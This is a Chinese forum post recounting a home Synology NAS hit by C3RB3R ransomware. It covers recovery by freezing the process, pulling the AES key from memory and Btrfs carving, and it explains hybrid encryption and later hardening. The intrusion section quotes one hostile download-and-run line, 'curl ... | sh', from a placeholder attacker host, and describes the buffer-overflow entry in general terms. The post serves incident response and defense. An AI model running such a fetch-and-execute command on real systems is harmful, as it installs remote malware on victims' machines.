一次群晖 NAS 勒索病毒被坑与恢复实录

[size=6]一次群晖 NAS 勒索病毒被坑与恢复实录[/size]

[indent][b]机型：[/b] Synology DS423+ | 4 盘位 RAID 1 + 单盘 Basic
[b]受害情况：[/b] 约 5TB 数据被注入 .L0CK3D 勒索后缀，留有 read-me3.txt
[b]最终结果：[/b] 抓活体进程提取内存密钥 + Btrfs CoW 打捞，1.03TB 相机照片全部赎回，没付一分钱赎金。
[/indent]<hr>[size=5]一、被坑[/size]

[size=4]1.1 发现中招[/size]

事情发生在周末闲逛 V2EX 的时候。论坛首页突然飘起几个求助帖：“群晖 NAS 疑似遭遇新型勒索病毒批量扫荡”、“文件全被重命名为 .L0CK3D”。
我当时心里还暗笑“这届黑客真能折腾”，心想自己平时网络配置都挺注意的，应该轮不到我。结果随手掏出手机打开群晖 Photos 想刷刷昨天的照片，App 一直转圈加载。切到 DS file 一登，整个人瞬间后背发凉：相册、影音库、备份归档，几乎所有目录底下密密麻麻全被挂上了 .L0CK3D 后缀，每个文件夹里还整整齐齐躺着一封索要 0.05 BTC 的 read-me3.txt 勒索信。
小丑竟是我自己，我的 NAS 真被黑了。
[size=4]1.2 资产损失与清点[/size]

慌归慌，还是得冷静下来赶紧清点家底：
[list=1]
[*][b]RAID 1 屁用没有[/b]：很多新手以为组了双盘 RAID 1 就能高枕无忧，其实 RAID 只是硬件冗余，根本不是备份。逻辑层面的病毒往盘 1 写入加密数据，RAID 控制器就在一微秒内忠实地把加密破坏同步镜像到盘 2 上，防硬件损坏有用，防病毒完全白给。
[*][b]手机照片逃过一劫[/b]：万幸的是，手机照片平时走群晖官方的 Cloud Sync 单向同步到了百度网盘。我手抖着打开网盘客户端看了一眼，云端照片完好无损，也没被推送新的加密文件。后来排查 /volume1 根目录抓到了同步套件的 core dump：@cloud-workerd...core.gz.L0CK3D 和 @syno-cloud-clie...core.gz.L0CK3D。原来是病毒在后台狂暴扫描改名和加密时，同步进程面对突发的海量文件变动自己先崩了，因祸得福切断了同步通路，网盘反而没被投毒。
[*][b]电脑代码安全[/b]：主力开发机和 GitHub 上有完整克隆，文档和代码没丢。
[*][b]最致命的痛点（相机的 RAW 照片）[/b]：平时犯懒，嫌几百个 G 的无压缩相机 RAW 照片往网盘传太慢，就只存在了 NAS 本地。这几年的家庭旅行、孩子照片全被死死锁在了这批 .L0CK3D 文件里。这要是丢了真得吐血，所以核心目标就一个：不惜一切代价，救出相机照片。
[*][b]几 TB 影视剧[/b]：PT 随时能下，大不了费点电重新挂几天，不管了。
[/list]<hr>[size=5]二、恢复过程[/size]

[size=4]2.1 GitHub 上的开源救砖工具[/size]

去 GitHub 和论坛翻了一圈，锁定了专门针对这次 C3RB3R 勒索家族的两大救命开源项目：
[list]
[*]**soimy/c3rb3r-rescue**：专门用来抓取没退出的病毒进程内存，从里面抠出对称加密密钥，直接无损解密。
[*]**crt106/c3rb3r-btrfs-recovery**：针对加密已完成或尾部损坏的文件，利用群晖 Btrfs 的写时复制（ CoW ）特性，从磁盘未分配的底层数据块里把原件硬捞出来。
[/list][size=4]2.2 网页 AI 人肉搬砖踩坑[/size]

刚开始我像个搬砖工一样，把 GitHub 的 README 和代码贴给网页版 AI ，然后在终端里复制它给的命令。
这种人肉排障非常折磨：
[list]
[*]终端回显网页 AI 看不到，一报错就得来回截图复制日志，巨慢无比；
[*]中途尝试接入 workbuddy 协助排查，折腾半天一事无成，AI 还反复报错甩锅说是我的 Mac 终端环境问题，白白浪费了宝贵的救援黄金窗口。
[/list][size=4]2.3 换用 Gemini 3.8 Flash 通过 SSH 接管[/size]

意识到越拖下去病毒越可能自毁抹除内存，我直接把群晖 SSH 授权给 Gemini 3.8 Flash ，让它用 Agent 模式直接进终端排查。
能直接跑命令看输出的 Agent 和网页聊天完全是两码事。它一进终端，第一件事就是勒令我记住两条准则：
[灾难恢复黄金准则]1. 绝对不要重启 NAS ！重启 = 物理内存断电清空 = 钥匙彻底蒸发！2. 绝对不要执行 kill -9 ！强杀进程 = 释放虚拟内存堆栈 = 现场被彻底销毁！[size=4]2.4 恢复三步走[/size]

这一节整个实操过程，我基本不用手敲命令，纯粹是授权让 AI 自动巡检、自动下发命令、自动写脚本并实时根据回显纠错，我就在旁边盯着终端输出看。
[size=3]1. 抓活口与定身（ Freeze ）[/size]

进入终端后，AI 自主遍历进程树，瞬间从几百个系统进程中捕捉到了伪装成动态库调用的恶意 PID：
# 确认病毒恶意进程ps -ef | grep -E "libgld|c3rb3r|lock3d"# 关键救命决策：发 SIGSTOP 冻结进程，禁止继续破坏，锁死内存现场kill -STOP 14382SIGSTOP 信号一打，群晖的磁盘 I/O 读写立马归零。病毒被死死“定身”在物理内存中，堆栈和虚拟地址空间完好保留。
[size=3]2. 从进程内存提取活体密钥[/size]

黑客虽然吹嘘非对称加密，但他为了快速加密几 TB 的文件，必须在本地内存里生成 AES 对称密钥。只要没重启，这把钥匙就一直躺在内存里。
AI 依据 soimy/c3rb3r-rescue 原理，直接在 NAS 本地写了个 Python 扫描工具，读取 /proc/14382/maps 和 /proc/14382/mem：
# 查看进程虚拟内存映射表cat /proc/14382/maps | grep "heap"# 运行脚本 Dump 内存并做 AES Key 特征匹配python3 dump_and_extract_key.py --pid 14382跑了几秒钟，终端里直接跳出一串 64 位的十六进制字符——会话级明文对称密钥当场拿到！黑客挂在外面的 RSA 挂锁彻底成了摆设，开锁钥匙直接从病毒内存里被掏了出来。
[size=3]3. 用 Btrfs CoW 机制打捞碎片[/size]

拿到 key 跑解密，但有一小部分 RAW 照片因为病毒多线程并发搞乱了，尾部损坏解不开。
AI 马上无缝切到备用策略，调出 crt106/c3rb3r-btrfs-recovery。利用 Btrfs 的写时复制（ CoW ）特性，原文件被改写重命名时，底层的旧数据块（ Data Extents ）并没有立刻被物理覆盖，而是标记为空闲。AI 顺着底层 B 树叶节点直接去扒未覆盖的原始数据块。
靠“内存 key 解密 + Btrfs 底层扇区打捞”两套组合拳，[b]1.03 TB 、数万张极其珍贵的相机 RAW 照片全数赎回，MD5 逐一校验无损坏！[/b]
<hr>[size=5]三、深究原理[/size]

[size=4]3.1 勒索病毒的加密机制[/size]

很多朋友听到对称和非对称就头大，其实原理一点都不神秘：
[size=3]1. 对称与非对称到底是个啥？[/size]

[list]
[*][b]对称加密（普通铁钥匙）：[/b] 同一把钥匙既能锁门也能开门。优点是极快，几 TB 数据几小时搞定；缺点是钥匙不能外露。
[*][b]非对称加密（带锁孔的特制挂锁）：[/b] 一把敞开的挂锁（公钥）配一把独家钥匙（私钥）。谁都可以拿手一捏锁上，但一旦锁死，捏锁的人自己打不开，只有黑客手里那把唯一的私钥才能开。缺点是极慢，算力消耗大。
[/list][size=3]2. 黑客为什么不全用公钥加密？[/size]

如果 5TB 文件全用非对称公钥去算，群晖那颗 J4125 能卡死冒烟，算半年都算不完。没等他加密完几个文件夹，你就因为风扇狂转把电源拔了。勒索讲究神不知鬼不觉，慢了等于自杀。
[size=3]3. 勒索病毒的混合套路[/size]

所以黑客玩了一招混合加密：
[list=1]
[*][b]第一步（快锁）：[/b] 病毒在 NAS 内存里临时生成一把轻便的普通铁钥匙（ AES 对称密钥），飞速把你 5TB 照片全锁了；
[*][b]第二步（锁钥匙）：[/b] 锁完后，病毒掏出黑客给的挂锁（ RSA 公钥），把这把铁钥匙锁进小盒子里，随手缝在被锁照片的屁股后面。
[/list]flowchart TD subgraph Pipeline["病毒的混合加密流水线"] A["NAS 内存中临时生成一把普通铁钥匙"] --> B["用铁钥匙飞速锁死你的 5TB 照片<br>(速度极快，几小时搞定)"] C["黑客提供的敞开挂锁"] --> D["把这把普通铁钥匙锁进小盒子里<br>(咔哒一声锁死)"] D --> E["把密封小盒子缝在每张照片的尾部"] end[size=3]4. 为什么黑客能免费解密一张验货？[/size]

你传一张照片过去，黑客服务器切下文件末尾的小盒子，在自己的老窝里用全世界唯一的私钥打开盒子，拿到里面的铁钥匙，把照片还原发还给你看，证明他有能力解密。但他绝不会把那把铁钥匙直接给你。
[size=3]5. 为什么抓进程能全救回来？[/size]

黑客的设计看似天衣无缝，但他有个物理上的致命死穴：[b]他在后台一张一张加密你文件的时候，那把能解开一切的铁钥匙，必须一直握在手里（也就是一直放在 NAS 的内存 RAM 里）！[/b]
[list]
[*]如果你手贱关机或重启，内存一断电，钥匙当场灰飞烟灭，神仙难救；
[*]但如果你没关机也没 kill ，直接用 kill -STOP 定住进程，内存里的钥匙就不会丢。我们用脚本去扫进程内存 /proc/$PID/mem，当场把铁钥匙搜出来。有了钥匙，谁还需要黑客的私钥？
[/list][size=4]3.2 病毒入侵全过程[/size]

没泄露账号密码，NAS 是怎么沦陷的？
sequenceDiagram autonumber actor Hacker as 互联网黑客扫描器 participant DMZ as 光猫/路由器 DMZ 暴露 participant DSM as 群晖 Nginx / Web 服务 participant Sys as NAS 操作系统底层 Root Hacker->>DMZ: 广域网扫描开放端口 DMZ->>DSM: 流量直通 NAS 内网 IP Hacker->>DSM: 发送特制畸形 HTTP 请求 (超长 Buffer) Note over DSM: C/C++ 内存缓冲区溢出 (越界覆盖 RIP 返回地址) DSM->>Sys: 越权劫持 CPU 指令指针，执行恶意 Payload Sys-->>Hacker: 反弹 Shell ，下载 c3rb3r 挖矿/勒索母体[list=1]
[*][b]祸根在于偷懒开 DMZ[/b]：为了外网访问方便，在路由器里把 NAS 设成了 DMZ 主机，相当于把群晖所有端口全裸暴露在公网上。
[*][b]Pre-Auth RCE 缓冲区溢出[/b]：黑客扫描器扫到暴露端口，利用群晖旧版本组件里 C/C++ 编写的底层 Web 服务的缓冲区溢出漏洞。发了一段畸形的超长 HTTP 请求，直接冲垮栈内存覆盖了 CPU 指令返回地址，在不需要任何密码的情况下，让 NAS 直接以 root 权限执行了黑客脚本：curl -s http://黑客源/c3rb3r | sh。
[/list][size=4]3.3 Btrfs CoW 机制与恢复[/size]

Btrfs 是打捞遗漏文件的功臣，但它有严格的边界：
flowchart LR subgraph BtrfsCoW["Btrfs 写时复制 (CoW)"] A["原文件 Data Extents<br>物理扇区 A"] --> B["病毒修改并加密"] B --> C["新数据写入扇区 B"] B --> D["原扇区 A 未被抹除，标记为 Free"] end
[list]
[*][b]为什么能打捞？[/b] Btrfs 写数据从不原地覆盖，新数据写到新扇区，旧扇区保留并标记为空闲。病毒加密改写时，原始数据的磁盘扇区实际上还在，只要没被新写入覆盖，就能强行捞出。
[*][b]为什么 1MB 以下小文件全军覆没？[/b] Btrfs 有个特性叫 Inline Extents ，1MB 以下的小文件为了省空间，默认直接塞在 B 树的元数据叶子节点里。病毒加密重命名时原地重写了元数据，小文件随着元数据当场被抹平，底层根本没有历史数据块可捞。
[/list]<hr>[size=5]四、安全加固[/size]

[size=4]4.1 Btrfs 不可变快照[/size]

防勒索最管用的是让历史无法被修改：
[list]
[*]装上群晖 Snapshot Replication 套件；
[*]开启不可变快照（ Immutable Snapshots ），锁定 7~14 天。在这期间任何权限（包括 root 和病毒）都删不掉快照；
[*]以后就算再被加密，点一下鼠标一秒回滚。
[/list][size=4]4.2 相机照片异地备份[/size]

[list]
[*]老实遵守 3-2-1 备份原则，相机照片再大也不偷懒了；
[*]用 Cloud Sync 在夜间闲时自动加密上传到异地网盘或对象存储。
[/list][size=4]4.3 网络收拢[/size]

[list]
[*]立即关掉光猫和路由器的 DMZ ；
[*]关闭默认端口（ 5000/5001/22 ），路由器外网只映射一个高位无规律端口（比如 44433）；
[*]Nginx 开启 Host 白名单：未携带正确二级域名的探测流量一律直接返回 404 切断，公网扫 IP 连端口跑了什么都刺探不出来。
[/list][size=4]4.4 系统与安全补丁策略[/size]

[list]
[*]别迷信“系统能稳定跑就坚决不更新”；
[*]开启 DSM 重大安全更新自动安装，防患于未然。
[/list]<hr>[size=5]结语[/size]

从凌晨看到满屏 .L0CK3D 的后背发凉，到用 SIGSTOP 锁死现场、从内存深处掏出钥匙，再到深挖 Btrfs 底层扇区夺回全家照片，这一仗打得确实惊险，也彻底改变了我对 AI 的看法。
[size=4]1. 垃圾 AI 和牛逼 AI 真的能决定生死[/size]

平时写写打卡文案、水水周报，不同 AI 的代差看着微不足道；但在这种重大事故面前，垃圾 AI 和牛逼 AI 的差距，真的能决定你几千个 G 数据的生死。
[list]
[*][b]垃圾 AI 是时间杀手[/b]：只会在网页端机械地搬运 README ，对系统底层两眼一抹黑。报错了不仅帮不上忙，还甩锅说是你的环境问题，白白把抢救内存活体钥匙的黄金窗口拖没了；
[*][b]牛逼 Agent 就像带了个安全老手[/b]：直接通过 SSH 进终端，进场就能看懂内核、进程树和存储系统。知道哪些命令是救命的（kill -STOP 留堆栈），知道哪些操作是万劫不复的（禁止重启、禁止 kill -9），现场写脚本提取内存 key ，顺着底层扇区捞碎片。几十分钟把 1TB 的家庭照片全盘救了回来。
[/list][size=4]2. AI 是一把双刃剑[/size]

这场事故也反映出如今残酷的网络攻防现实：
[list]
[*][b]攻击门槛彻底打穿[/b]：黑客用大模型找暴露面、扫 0-day 、拼装免杀勒索脚本的成本极其廉价。脚本小子拿着 AI 就能全网 24 小时无差别狂轰滥炸，开 DMZ 裸奔分分钟沦陷；
[*][b]防守更需利刃[/b]：但武器在防守方手里同样是神器。面对复杂的底层取证、扇区打捞和网络防线重构，懂架构的工程师配合顶尖 AI ，几十分钟就能完成以前人工排查几天都未必搞得定的活。
[/list]

⚠️内容来自互联网，如有侵权请点击反馈！侵权投诉